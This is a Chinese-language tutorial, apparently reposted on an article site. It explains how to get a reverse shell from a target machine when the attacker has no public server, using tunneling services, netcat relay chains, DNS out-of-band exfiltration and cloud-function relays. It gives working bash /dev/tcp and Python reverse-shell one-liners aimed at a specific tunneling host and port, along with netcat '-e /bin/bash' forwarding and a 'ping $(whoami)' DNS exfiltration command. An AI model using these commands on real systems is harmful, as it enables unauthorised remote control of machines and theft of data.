当前位置: 首页 > article >正文

没有公网服务器的情况下,建立反弹 Shell

1. 使用内网穿透工具(推荐)

核心原理:通过第三方服务将内网端口映射到公网域名,绕过公网IP限制。
工具推荐

  • 贝锐花生壳(免费版可用)
    • 注册账号并登录,选择「内网穿透」功能,添加TCP映射。
    • 设置映射类型为TCP,内网主机IP为本地(如127.0.0.1),内网端口为监听的Shell端口(如54321)。
    • 生成外网域名和端口,目标机通过该域名端口反向连接攻击机。
  • cpolar(支持SSH穿透)
    • 安装并配置SSH服务,结合cpolar生成公网访问地址,实现SSH反向连接。

操作步骤

  1. 攻击机:通过穿透工具生成公网地址(如s546459d57.zicp.fun:23494)。
  2. 目标机:执行反弹Shell命令,如 bash -i >& /dev/tcp/s546459d57.zicp.fun/23494 0>&1
  3. 攻击机:使用nc监听穿透后的端口(如nc -lvnp 23494),接收Shell。

2. 利用中间代理服务器

场景:已有内网某主机的控制权,通过该主机转发流量。
工具

  • Netcat(nc):通过多层端口转发建立链路。
    • 内网主机A执行:nc -lvp 4444 -e /bin/bash
    • 中间主机B(可出网)执行:nc -lvp 5555 -e nc <内网主机A_IP> 4444
    • 攻击机连接中间主机的公网端口:`nc <中间主机B_公网IP> 5555。
  • lcx/htran:适用于Windows内网环境,通过端口转发实现多层穿透。

3. 使用DNS或HTTP协议带外(OOB)

适用场景:目标机可访问外网但无法直接建立TCP连接。
工具

  • DNSLog:通过DNS查询传递Shell命令结果。
    • 攻击机生成DNSLog子域名(如xxx.dnslog.cn)。
    • 目标机执行:ping $(whoami).xxx.dnslog.cn,通过DNS解析日志获取命令结果。
  • HTTP带外:利用Web请求传递数据(需攻击机搭建Web服务)。

4. 利用云函数或在线平台

原理:通过云服务(如AWS Lambda、腾讯云函数)作为中继节点。
步骤

  1. 编写云函数,监听指定端口并转发流量至攻击机。
  2. 目标机连接云函数生成的公网地址,实现反向Shell。

5. 反弹Shell命令示例

Bash

bash -i >& /dev/tcp/<穿透域名>/<穿透端口> 0>&1

Python

import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("s546459d57.zicp.fun",23494))
os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2)
subprocess.call(["/bin/sh","-i"])

http://www.kler.cn/a/588545.html

相关文章:

  • 网络编程、URI和URL的区别、TCP/IP协议、IP和端口、URLConnection
  • LLM(3): Transformer 架构
  • 数据结构-树(详解)
  • 力扣Hot100——35.搜索插入的位置(二分查找)
  • [C语言]数据在内存中的存储
  • ai数字人系统系统saas源码 一站式开发目录
  • 前端 git规范-不同软件(GitHub、Sourcetree、WebStorm)、命令行合并方式下增加 --no-ff的方法
  • 【Vue】上传PDF功能
  • 鸿蒙路由 HMrouter 配置及使用一
  • Android笔记:Android平台下SVG格式的解析与实践
  • PyTorch使用-张量数值计算
  • 每日Attention学习27——Patch-based Graph Reasoning
  • 【从零开始学习计算机科学】软件工程(六)软件质量
  • Docker基础知识介绍
  • 【Python+HTTP接口】POST请求不同请求头构造
  • 【ASMbits--常用算术运算指令】
  • 深入解析 FID:深度学习生成模型评价指标
  • pyQT学习笔记——Qt常用组件与绘图类的使用指南
  • 【商城实战(36)】UniApp性能飞升秘籍:从渲染到编译的深度优化
  • 使用memmove优化插入排序